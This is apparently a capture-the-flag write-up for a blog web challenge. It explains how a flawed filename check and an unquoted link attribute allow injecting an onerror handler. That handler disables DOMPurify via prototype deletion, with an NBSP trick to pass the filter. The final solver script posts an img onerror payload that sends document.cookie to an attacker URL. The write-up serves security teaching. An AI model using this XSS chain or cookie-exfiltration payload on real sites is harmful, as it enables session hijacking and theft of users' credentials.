You can create blog post. It is accepting an arbitrary HTML, but it is correctly escaped and sanitized by DOMPurify.
const body = document.getElementById('body');
body.innerHTML = DOMPurify.sanitize(body.textContent);
hljs.highlightAll();
The goal is to obtain the cookie of admin.
There are two bugs in this app.
The theme parameter is validated by validateFilename
function. It seems to be filtering all characters except whitespaces or alphanumeric characters, but a dumb logical error exists and it accepts one invalid character in the argument.
private validateFilename(input: string) {
let isInvalid = false;
for (const char of Array.from(input)) {
if (!char.match(/[\w\s.]/)) {
if (isInvalid) {
return false;
}
isInvalid = true;
}
}
return true;
}
public async POST() {
const theme = this.getParam('theme');
// omitted
if (!theme || !title || !body || !this.validateFilename(theme)) {
this.response.status_code = 400;
this.response.body = 'Bad Request';
return this.response;
}
// omitted
}
The theme
parameter goes to HTML template and injected into stylesheet link.
There should be quotation around it, but it is missing.
<% if (it.theme) { %>
<link rel="stylesheet" href=<%= it.theme %>>
<% } %>
With these restrictions, you can inject an arbitrary attribute into link element, but only once. Like this:
<!-- theme=x%20onerror%3Dalert -->
<link rel="stylesheet" href=x onerror=alert>
So, what we should do here is to write JavaScript code with only alphanumeric charactersโฆ But it is really helpless. We have to cheat DOMPurify.
Find that DOMPurify skips purification when it is in unsupported environment (why?).
DOMPurify checks whether it is supported environment by DOMPurify.isSupported
property. It is detected by checking several properties in DOM. By taking a look at it, you can abuse it by turning implementation.createHTMLDocument = undefined
.
You can use prototype pollution to access this inner property. The final payload script will be like the following.
delete document.implementation.__proto__.createHTMLDocument
Finally, U+00A0 (NBSP) is not included in HTML whitespace, but included in JavaScript whitespace. So the final solver will be like this.
axios({
method: 'post',
url: `http://${host}:${port}/`,
headers: {
'content-type': 'application/x-www-form-urlencoded',
},
data: qs.encode({
theme: 'x onerror=delete\xA0document.implementation.__proto__.createHTMLDocument ',
title: 'x',
body: `<img src="x" onerror="location.href = '${url}?' + document.cookie">`,
}),
});